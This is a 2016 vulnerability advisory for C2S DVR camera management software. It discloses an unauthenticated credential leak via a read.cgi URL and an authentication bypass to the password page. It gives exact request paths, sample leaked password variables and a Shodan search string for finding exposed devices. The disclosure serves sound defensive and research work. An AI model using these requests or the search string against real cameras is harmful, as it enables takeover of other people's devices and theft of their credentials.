C2S DVR Management Credential Disclosure / Authentication Bypass
Posted on 22 August 2016
1. Advisory Information ======================================== Title : C2S DVR Management Remote Credentials Disclosure & Authentication Bypass Vendor Homepage : http://www.cash2s.com/en/ Remotely Exploitable : Yes Tested on Camera types : IRDOME-II-C2S, IRBOX-II-C2S, DVR Vulnerabilities : Credentials Disclosure + : Authentication bypass Date : 19/08/2016 Shodan Dork : html:write.cgi "Content-length: 2676" Author : Yakir Wizman (https://www.linkedin.com/in/yakirwizman) 2. CREDIT ======================================== This vulnerability was identified during penetration test by Yakir Wizman. 3. Description ======================================== C2S DVR allows to unauthenticated user disclose the username & password remotely by simple request to the server page 'read.cgi?page=2' which can be made by browser or burp/fiddler. Moreover, an attacker could easily access to password change page without any authentication, thats happen cuase the web application does not perform any session management. 4. Proof-of-Concept: ======================================== Remote Credentials Disclosure: ----------------------------------------------- Simply go to the following url to read the credentials: http://host:port/cgi-bin/read.cgi?page=2 Should return some javascript variable which contain the credentials and other configuration vars: var pw_enflag = "1"; var pw_adminpw = "12345"; var pw_retype1 = "12345"; var pw_userpw = "56789"; var pw_retype2 = "56789"; var pw_autolock = "0"; Login @ http://host:port/ ----------------------------------------------- Authentication Bypass: ----------------------------------------------- The application does not require a valid session for any page on the server, for example you can access to 'password.htm' which allows you to change/disclose the admin password with just a few clicks. http://host:port/password.htm?parm1=&parm2=1 5. SOLUTION ======================================== Contact the vendor for further information regarding the proper mitigation of this vulnerability.
